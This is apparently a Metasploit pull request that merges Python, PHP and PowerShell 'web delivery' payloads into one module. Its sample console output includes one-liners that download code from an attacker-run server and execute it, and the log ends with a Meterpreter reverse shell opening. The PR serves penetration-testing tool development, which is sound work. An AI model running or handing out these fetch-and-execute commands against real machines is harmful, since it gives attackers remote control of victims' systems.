Script web delivery

This PR adds "web delivery" support for native python and php payloads, and combines them with the PSH web delivery work from @Meatballs1 all into one module. This PR is an update to https://github.com/rapid7/metasploit-framework/pull/3018

Sample Output:

```
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.232.131:4444 
[*] Using URL: http://192.168.232.131:8080/4w0E0Z8b
[*] Server started.
[*] Run the following command on the target machine:
For Linux: python -c "import urllib2; r = urllib2.urlopen('http://192.168.232.131:8080/4w0E0Z8b'); exec(r.read());"
For Windows: python.exe -c "import urllib2; r = urllib2.urlopen('http://192.168.232.131:8080/4w0E0Z8b'); exec(r.read());"
msf exploit(web_delivery) > [*] 192.168.232.1    web_delivery - Delivering Payload
[*] Sending stage (17349 bytes) to 192.168.232.1
[*] Meterpreter session 1 opened (192.168.232.131:4444 -> 192.168.232.1:10590) at 2014-06-03 16:27:43 -0400

```
I think someone mentioned this already but if python is in the path then ```python -c \"import...``` will work, and you wouldn't need to differentiate between windows and *nix. Same thing should apply for PHP.